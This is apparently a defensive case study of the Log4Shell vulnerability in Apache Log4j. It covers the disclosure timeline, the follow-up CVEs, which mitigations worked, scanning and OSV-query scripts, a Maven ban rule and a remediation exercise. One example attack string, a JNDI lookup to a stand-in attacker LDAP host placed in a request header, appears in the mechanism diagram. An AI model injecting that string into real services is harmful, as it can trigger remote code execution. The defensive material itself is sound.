In short

Log4Shell (CVE-2021-44228, CVSS 10.0) let attacker-controlled text in a logged message trigger a JNDI lookup that loaded remote code. It affected Log4j 2.0-beta9 to 2.14.1; the durable fix is upgrading (2.17.1 closes all four December 2021 CVEs). Deleting JndiLookup.class works as a stopgap; formatMsgNoLookups and a newer JDK do not. Patching was hard because the library hid in transitive and shaded dependencies, which is the inventory and SBOM lesson.

  • The trigger was ordinary logging of untrusted input, so the attack needed no authentication and the vulnerable code sat behind many paths.
  • Upgrading is the fix; deleting JndiLookup.class is a valid stopgap, while formatMsgNoLookups and a newer JDK are not sufficient.
  • Most exposure was transitive and often shaded into other JARs, so scan running hosts and nested archives, not just declared dependencies.
  • It took four releases (2.15.0 through 2.17.1) to settle, so stopping at 2.15.0 left real risk.
  • The durable lessons are an accurate asset and dependency inventory, an SBOM you can query, and a disclosure process that lands fix and advisory together.

Incident at a glance

Date
Category
Vulnerability exploitation
Organization
  • Apache Software Foundation (Apache Log4j)
Impact
A JNDI lookup in logged text let unauthenticated attackers run code on any service that logged their input with Log4j 2.0-beta9 to 2.14.1. Google counted 35,863 Maven Central artifacts, over 8% of the repository, that depended on affected versions.
How it was found
A security engineer on the Alibaba Cloud Security team found the flaw and reported it privately to the Apache Software Foundation on 24 November 2021.

Timeline

  1. An Alibaba Cloud Security engineer reports the flaw to the ASF by email, with a proof of concept.
  2. The ASF starts reviewing the fix in public pull requests.
  3. Earliest known exploitation: two days of testing that matches the reporter’s proof of concept.
  4. The ASF tags release candidate 2.15.0-rc1 without a security advisory.
  5. The reporter tells the ASF that the flaw is being discussed on WeChat.
  6. The ASF releases 2.15.0 and makes CVE-2021-44228 public; CISA adds it to the KEV catalog.
  7. 2.16.0 removes message lookups and disables JNDI by default (CVE-2021-45046).
  8. 2.17.0 fixes the recursive-lookup denial of service, CVE-2021-45105.
  9. CISA, the FBI, the NSA and partner agencies publish joint advisory AA21-356A.
  10. 2.17.1 closes the JDBC Appender JNDI path, CVE-2021-44832.
  11. The Cyber Safety Review Board publishes its review of the Log4j event.

Verify it

  1. Scan running hosts for log4j-core, including inside shaded and nested JARs, and reconcile the result with your dependency inventory or SBOM.
  2. For each located component, resolve the exact version and query OSV or the GitHub Advisory Database; confirm it is at or above the fixed version.
  3. Log a message containing a ${...} token in a staging build and confirm the token is printed literally, proving lookups are not evaluated.
  4. Add a maven-enforcer banned-dependency rule (or Gradle equivalent) that fails the build on log4j-core below 2.17.1, including transitive paths.
  5. For hosts that were internet-exposed while vulnerable, run compromise-hunting, since a later patch can mask an earlier intrusion.
Applies to
  • Apache Log4j 2 (log4j-core) Vulnerable 2.0-beta9 to 2.14.1; all Dec 2021 CVEs fixed in 2.17.1; current 2.25.5 / 2.26.1
  • Apache Log4j 1.x End of life since 2015; CVE-2021-4104 via non-default JMSAppender; migrate to Log4j 2
  • OpenJDK / Oracle JDK LDAP codebase loading off since 8u191/11; LDAP deserialization off since JDK 20 and Oct 2024 backports

Java services and products that bundle Apache Log4j 2. Finding every copy means inspecting shaded and nested JARs, not only build manifests.

Part of
Workflow: Respond to a vulnerability. Collection: case studies

Fix it in your stack

Tested fixes: the vulnerable code, the fix, a plausible fix that still fails, and the regression tests that tell them apart.

Learning goals and prerequisitesAbout 31 minutes: 9 to read and 22 for the exercise

What you will learn

  • Explain how a logged string reached JNDI and why a newer JDK did not close the risk.
  • Locate log4j-core in running systems, including shaded and nested JARs, and corroborate with an advisory query.
  • Choose the right remediation and reject the mitigations that were shown to be insufficient.
  • Turn the incident into durable practice: dependency inventory, a queryable SBOM, and a build-time ban on the vulnerable range.

Before you start

Developers, AppSec engineers, and incident responders who must find a vulnerable dependency, judge exposure, and prove a fix

  • Know how your application pulls in Java dependencies (direct, transitive, and shaded or bundled).
  • Be able to read an HTTP request and see which fields get logged.
  • For the code: a shell with unzip and curl; the fix proof uses log4j-core 2.24.3 on Java 21.
Go to the guided practice

How a logged header became remote code execution

Attacker controlledYour serviceAttackerAttacker’s LDAPserverService on Log4j2.14.1Header with ${jndi:ldap://...}1log.info() expands thelookup2JNDI LDAP query3Class reference or serializedobject3Class loaded: attacker coderuns4Trust boundaryUntrusted input1Step, described below
  1. RequestThe attacker puts a lookup such as ${jndi:ldap://attacker.example/a} in a field the service logs, for example User-Agent.
  2. Lookup evaluatedLog4j 2.0-beta9 to 2.14.1 expands lookups inside message text, so logging the header starts a JNDI lookup.
  3. Directory replyThe JVM queries the attacker’s LDAP server, which answers with a reference to a remote class or a serialized object.
  4. Code runsThe JVM loads the class, or deserializes the object through a gadget already on the classpath, and attacker code runs in the service.
The fix is in the library: 2.16.0 removed message lookups and disabled JNDI by default. JDK settings such as trustURLCodebase=false close only the remote class-loading path.

A single log call became remote code execution

On 2021-12-10 the Apache Software Foundation published Log4j 2.15.0 and made CVE-2021-44228, soon nicknamed Log4Shell, public. The flaw let an attacker who could get a string into a logged message or parameter run code of their choosing on the server. NVD scored it 10.0, the maximum, with the vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H: reachable over the network, low complexity, no privileges, no user interaction, and a scope change out of the logging library into the host.

Log4j 2 is a Java logging framework released in 2012 and embedded, directly or transitively, in thousands of applications and appliances. Every release from 2.0-beta9 through 2.14.1 was affected. Three more CVEs followed within three weeks as researchers probed the first fixes, so the real unit of work was not one patch but a moving target that took four releases to settle.

This case study treats Log4Shell as an incident to learn from, not a payload to reproduce. The mechanics below stay at the level a defender needs to find the library, judge exposure, and prove a fix; they are not a build-your-own-exploit guide.

How a log message reached JNDI

Log4j supported lookups: tokens inside a message that the library expanded at format time, such as a date or an environment value. Crucially, lookups were also evaluated inside the message text itself, and one lookup resolved names through the Java Naming and Directory Interface (JNDI). JNDI can fetch objects from directory services over LDAP, RMI, and related protocols.

When attacker-controlled text containing a JNDI lookup was logged, Log4j asked JNDI to resolve the attacker's URL. Against a hostile LDAP or RMI server, the returned directory entry could cause the JVM to load and instantiate a remote or locally available class, which ran attacker code. The weakness is an expression-language and deserialization problem (CWE-917, CWE-502) exposed through logging, not a flaw in the JVM.

The Java runtime had partial defenses, and they are a common source of confusion. Since JDK 8u191 and 11 the LDAP provider will not load classes from an arbitrary remote URL codebase by default (com.sun.jndi.ldap.object.trustURLCodebase defaults to false). But that closed only the simplest path. Researchers showed exploitation using locally present gadget classes and deserialization, independent of JVM version. The LDAP provider stopped deserializing objects by default only much later, with trustSerialData defaulting to false in JDK 20 and in the October 2024 backports to 8u432, 11.0.25, and 17.0.13. A newer JDK was never a substitute for upgrading Log4j.

Why nearly everything was exploitable

Applications log untrusted input everywhere: request headers such as User-Agent, usernames, search terms, HTTP paths, and JSON fields. Any of those reaching a vulnerable Log4j call was enough, so the attack needed no authentication and no special client. Scanners could spray a probe across the internet and wait for a callback, which is why mass scanning began within hours of disclosure.

The scope change in the CVSS vector captures the real danger: a problem in a logging dependency became full control of the application host. Because the trigger was ordinary logging, defenders could not simply point at one risky endpoint; the vulnerable code sat behind whatever paths happened to log attacker input, including error handlers that logged a rejected value.

Why patching was hard

The library was rarely a direct dependency. Google's analysis of Maven Central on 2021-12-16 found 35,863 artifacts, more than 8% of the repository, depending on affected Log4j code, against a typical advisory impact of about 2%. Most of that was transitive: direct dependencies accounted for around 7,000 artifacts, and for more than 80% of affected packages the vulnerable code sat more than one level deep, a majority five levels down and some nine. Deep dependencies must be fixed from the bottom up, each maintainer releasing before the next can move.

Packaging made it worse. Log4j is frequently bundled inside shaded or 'uber' JARs, repackaged under other names, or embedded in vendor appliances, so a scan of declared dependencies missed it. The Cyber Safety Review Board noted there is no customer list for an open-source library: ASF does not know who ships it or where. One US federal department reported spending 33,000 hours on Log4j response. Every layer that could emit a response, including default error pages and third-party components, had to be checked.

The fix was also a moving target. 2.15.0 disabled message lookups by default and restricted JNDI, but CVE-2021-45046 showed the fix was incomplete for some non-default configurations; its severity was revised from 3.7 up to 9.0. 2.16.0 removed message lookups entirely and disabled JNDI by default; 2.17.0 fixed a denial-of-service recursion (CVE-2021-45105); and 2.17.1 closed a JDBC-appender JNDI path (CVE-2021-44832). Teams that stopped at 2.15.0 often had to upgrade again.

The disclosure race and the follow-up CVEs

A security engineer at Alibaba Cloud reported the flaw privately to ASF on 2021-11-24. ASF began fixing it in public pull requests from 2021-11-29 and tagged a release candidate on 2021-12-06, developing in the open as the project normally did. On 2021-12-09 the reporter warned ASF that a proof of concept was circulating on WeChat, and ASF brought the 2.15.0 release and the CVE forward to 2021-12-10. One technology company later observed limited testing consistent with the original proof of concept over two days starting 2021-12-01; broad scanning and exploitation followed disclosure.

CISA added CVE-2021-44228 to the Known Exploited Vulnerabilities catalog on the disclosure date with a two-week remediation deadline, and later added CVE-2021-45046. The table below is the version map a responder actually needed.

The disclosure race and the follow-up CVEs
CVEWhat it wasFixed in (Java 8+ / 7 / 6)
CVE-2021-44228JNDI lookup RCE (CVSS 10.0)2.15.0 / 2.12.2 / 2.3.1
CVE-2021-45046Incomplete fix, RCE in some configs (9.0)2.16.0 / 2.12.2 / 2.3.1
CVE-2021-45105Recursive-lookup denial of service (5.9)2.17.0 / 2.12.3 / 2.3.1
CVE-2021-44832JDBC Appender JNDI RCE, config write (6.6)2.17.1 / 2.12.4 / 2.3.2
CVE-2021-4104Log4j 1.x JMSAppender, non-defaultNo fix; migrate to Log4j 2

Mitigations that worked and ones that did not

The only durable fix was upgrading the library. Everything else bought time at best, and some measures ASF first suggested were withdrawn within days once new attack paths appeared.

  • Worked: upgrade log4j-core to a fixed release, verified at the artifact actually deployed, including inside shaded JARs.
  • Worked as a stopgap: delete the JndiLookup class from the JAR (zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class), which removes the vulnerable lookup without a rebuild.
  • Insufficient: setting log4j2.formatMsgNoLookups or LOG4J_FORMAT_MSG_NO_LOOKUPS, or using %m{nolookups}. ASF labelled these 'discredited' on 2021-12-14 because other code paths still evaluated lookups.
  • Insufficient alone: a newer JDK. Default class-loading was restricted since 8u191, but deserialization and local-gadget paths remained until much later JDKs.
  • Partial: WAF rules blocking the lookup string. They reduced noise but were bypassable through nested and obfuscated lookups, so they could not be the only control.
  • Necessary: treat exposed assets as possibly compromised and hunt, because patching after exploitation hides the earlier intrusion (CISA AA21-356A).

Find it in running systems, not just package lists

A declared-dependency list was not enough, because the library hid in bundles and vendor code. Scan the filesystem of running hosts and look inside nested archives, then corroborate with a dependency query against an advisory database such as OSV. The SBOM lab at /labs/sbom-inventory/ practises finding a bundled component that a release SBOM left out.

Testscan-jndilookup.shShell
#!/usr/bin/env bash
# Find log4j-core on disk, including inside shaded "uber" JARs, and report
# whether JndiLookup.class is present. Presence is not proof of exposure, but
# absence of a finding here is a precondition for closing a host.
set -u
root="${1:-/}"
tmp="$(mktemp -d)"; trap 'rm -rf "$tmp"' EXIT
needle='log4j/core/lookup/JndiLookup.class'
find "$root" -type f \( -name '*.jar' -o -name '*.war' -o -name '*.ear' \) 2>/dev/null |
while read -r jar; do
  # Direct: the class sits at the top level of this archive.
  if unzip -l "$jar" 2>/dev/null | grep -q "$needle"; then
    echo "DIRECT   $jar"
  fi
  # Nested: a JAR bundled inside this archive (Spring Boot BOOT-INF/lib, fat JARs).
  unzip -Z1 "$jar" 2>/dev/null | grep '\.jar$' | while read -r inner; do
    unzip -p "$jar" "$inner" > "$tmp/inner.jar" 2>/dev/null || continue
    if unzip -l "$tmp/inner.jar" 2>/dev/null | grep -q "$needle"; then
      echo "NESTED   $jar -> $inner"
    fi
  done
done

Corroborate presence with an advisory query

When you can resolve the exact version from a lockfile, SBOM, or JAR manifest, ask OSV whether that version is affected. This catches components a class-name scan misses and ties the finding to a CVE and a fixed version.

Testosv-query.shShell
# Ask OSV which advisories affect a specific log4j-core version.
curl -s -X POST -d '{"package":{"ecosystem":"Maven",
  "name":"org.apache.logging.log4j:log4j-core"},"version":"2.14.1"}' \
  https://api.osv.dev/v1/query |
  python3 -c 'import sys,json
d=json.load(sys.stdin)
for v in d.get("vulns",[]):
    print(v["id"], (v.get("aliases") or []))'
# 2.14.1 returns GHSA-jfh8-c2jp-5v3q (CVE-2021-44228) among others.

Which controls would have stopped or limited it?

The SSDF column names NIST SP 800-218 version 1.1 practices and tasks. The first rows apply to library maintainers; the rest to teams that ship or run software containing Log4j.

Which controls would have stopped or limited it?
ControlWhoSSDF practice or standardGuide
Ship interpretive features such as message lookups and JNDI off by defaultLibrary maintainersSSDF PW.9.1, PW.1.1/domains/appsec/secure-coding/injection-parser-boundaries/
A vulnerability-handling process that develops fixes privately and releases fix and advisory togetherLibrary maintainersSSDF RV.1.3/domains/appsec/vulnerability-response/coordinated-disclosure/
Look for variants after a fix, before others doLibrary maintainersSSDF RV.3.3/domains/appsec/vulnerability-response/coordinated-disclosure/
Never let logged input be interpreted; log structured fieldsApplication developersSSDF PW.5.1/domains/appsec/secure-coding/crlf-header-log-injection/
An SBOM of the shipped artifact, down to shaded and bundled JARs, that you can query by versionSoftware producersSSDF PS.3.2/domains/supply-chain/sbom/generate-release-inventory/
Scan running hosts and nested archives, not only declared dependenciesOperatorsSSDF RV.1.1/domains/supply-chain/dependencies/evidence-based-triage/
Upgrade to a fixed release and verify it in the deployed artifact; hunt for earlier compromiseOperatorsSSDF RV.2.2/domains/appsec/vulnerability-response/dependency-vulnerability-response/
Restrict outbound connections from serversOperatorsCompensating control/domains/appsec/secure-features/ssrf-egress-boundaries/

Lessons: inventory, SBOM, and a rehearsed response

The organizations that coped had an accurate asset and dependency inventory and could answer, quickly, where a named component ran and who owned it. The CSRB's leading recommendation is to build exactly that capability before the next event, and to treat Log4j as 'endemic': vulnerable copies will persist for years, so detection and response matter more than any single patch window.

A software bill of materials is the structural fix, but it is not magic. The CSRB found that none of the organizations it consulted had used SBOMs to locate vulnerable Log4j during the incident, citing inconsistent fields and missing version data. The lesson is to generate an SBOM for the artifact you actually ship, down to bundled and shaded components, and to be able to query it by component and version, rather than to assume a stored document answers the question; /domains/supply-chain/sbom/generate-release-inventory/ shows how.

Finally, disclosure is a race. ASF developed the fix in public, and a proof of concept leaked before the release was ready. For widely embedded components, prepare the advisory, the fixed artifacts, and downstream notification to land together, and give the project a vulnerability-handling process, as in /domains/appsec/vulnerability-response/coordinated-disclosure/, so a report does not stall. The deeper structural lesson, echoed across the response, is that critical open-source infrastructure is often maintained by a few volunteers without funded security review.

Verify the fix and keep it from regressing

After upgrading, prove the behaviour rather than trusting the version string. A current Log4j prints a lookup token found in a message literally; confirm that, then stop regressions with a build-time rule that bans vulnerable ranges and a periodic re-scan of running hosts.

The enforcer rule below fails any build that pulls a log4j-core older than 2.17.1 through any dependency path, so a transitive downgrade cannot quietly reintroduce the flaw.

TestLookupProof.javaJava
// A current log4j-core prints the message text literally; it does not
// evaluate a ${...} token found inside a logged message. Tested with
// log4j-core 2.24.3 on Java 21; the file appender below receives the
// raw string, token intact.
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.LoggerContext;

public class LookupProof {
  public static void main(String[] args) {
    Logger log = LogManager.getLogger(LookupProof.class);
    log.info("user said: ${java:version}");   // printed verbatim, not expanded
    ((LoggerContext) LogManager.getContext(false)).stop();
  }
}

Ban the vulnerable range in the build

Keep the guarantee in CI. A banned-dependency rule turns a silent transitive downgrade into a failed build, which is cheaper than another incident review.

Configurationpom.xmlXML
<!-- Fail any build that resolves a Log4Shell-era log4j-core.
     Run with: mvn -q verify (maven-enforcer-plugin 3.5.0). -->
<plugin>
  <groupId>org.apache.maven.plugins</groupId>
  <artifactId>maven-enforcer-plugin</artifactId>
  <version>3.5.0</version>
  <executions><execution><id>ban-vulnerable-log4j</id>
    <goals><goal>enforce</goal></goals>
    <configuration><rules><bannedDependencies><excludes>
      <exclude>org.apache.logging.log4j:log4j-core:(,2.17.1)</exclude>
    </excludes></bannedDependencies></rules></configuration>
  </execution></executions>
</plugin>

What the public evidence does not establish

The public record does not establish how many systems were compromised through Log4Shell; the CSRB called the vulnerability 'endemic' because vulnerable copies will persist for years, which also means the count keeps changing. Exploitation before 10 December 2021 rests on one company's observation of limited testing from 1 December, and earlier use is not established either way. Google's Maven Central figures are a snapshot of one ecosystem's published artifacts on 16 December 2021, not a measure of deployed instances. Which threat actors exploited it, and where, is reported in government and vendor advisories that this page does not attempt to summarize.

Guided practice

You own four Java services and must decide each one's Log4Shell exposure on the day of disclosure and the correct remediation. Services and findings are illustrative; treat the stated facts as given.

Supplied scenario material
Plain text
S1 checkout-api: declares log4j-core 2.14.1 directly. Runs on Java 17. Internet-facing; logs the X-Forwarded-For header.
S2 billing-worker: no declared log4j dependency, but its vendor JAR bundles (shades) log4j-core 2.13.3 under a renamed path. Internal only; logs queue message fields.
S3 legacy-batch: uses Log4j 1.2 with a file appender, no JMSAppender. Java 8.
S4 search-api: upgraded to log4j-core 2.15.0 last night and set LOG4J_FORMAT_MSG_NO_LOOKUPS=true. Internet-facing.
Constraint: a full redeploy of S2 needs a vendor release that is days away.
  1. 1. Judge S1 and the JDK myth

    Decide whether S1 is exploitable and whether running Java 17 protects it.

    Expected result and reasoning

    Exploitable: attacker-controlled header text reaches a vulnerable log call, and no authentication is required. Java 17 restricts remote class loading but not local-gadget or deserialization paths, so it is not a fix. Remediate by upgrading log4j-core to 2.17.1.

  2. 2. Find S2 despite the shading

    Explain why a dependency-list scan misses S2 and how to detect and mitigate it before the vendor release.

    Expected result and reasoning

    The bundled copy does not appear as a declared dependency, so scan the deployed JAR and its nested archives for JndiLookup.class. As a stopgap pending the vendor fix, delete JndiLookup.class from the bundled log4j-core, then re-scan to confirm.

  3. 3. Scope S3 correctly

    Decide whether S3 is exposed to CVE-2021-44228.

    Expected result and reasoning

    Log4j 1.2 has no lookups, so it is not vulnerable to Log4Shell. Its separate risk, CVE-2021-4104, requires a non-default JMSAppender, which S3 does not use. It is end of life, so plan migration to Log4j 2, but it is not part of this emergency.

  4. 4. Correct the S4 half-fix

    Assess whether S4 is safe after moving to 2.15.0 with formatMsgNoLookups set.

    Expected result and reasoning

    Not safe. 2.15.0 was incomplete (CVE-2021-45046), and the formatMsgNoLookups flag was later discredited as insufficient. Upgrade to 2.17.1, which also closes the recursion DoS and the JDBC-appender path, and remove reliance on the flag.

  5. 5. Record evidence and prevent regression

    State what you store to close each finding and stop a recurrence.

    Expected result and reasoning

    For each service: the exact component version at the deployed artifact, the OSV result, the mitigation applied, and for the two internet-facing services a compromise-hunt result. Add a build rule banning log4j-core below 2.17.1 across transitive paths, and schedule a re-scan.

Your deliverable: A per-service table with exposure (yes/no and why), the remediation chosen, the evidence stored, and the build-time control added to prevent a transitive downgrade.

The inventory is illustrative, not live. A class-name scan proves presence, not reachability, and a running-host scan cannot prove a host was never exploited; internet-exposed assets still need a hunt.

Save a draft on this device to resume later. Automatic saving begins after you choose Save. Drafts are never sent by this application; use synthetic data.

No draft saved on this device yet.

Sources & further reading

The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.

  1. Apache Log4j Security Vulnerabilities (CVE-2021-44228, -45046, -45105, -44832)
  2. NVD: CVE-2021-44228 detail (CVSS 10.0, CWE-917, KEV)
  3. CVE Record: CVE-2021-44832 (fixed in 2.17.1 / 2.12.4 / 2.3.2)
  4. Apache Log4j 2.x release notes (2.15.0 through 2.17.1)
  5. Cyber Safety Review Board: Review of the December 2021 Log4j Event. 11 July 2022.
  6. CISA AA21-356A: Mitigating Log4Shell and other Log4j-related vulnerabilities. Last revised 23 December 2021.
  7. Google Security Blog: Understanding the impact of Apache Log4j on Maven Central. 17 December 2021.
  8. OpenJDK JDK-8290367: default value of com.sun.jndi.ldap.object.trustSerialData

Reference information

Download this guide as Markdown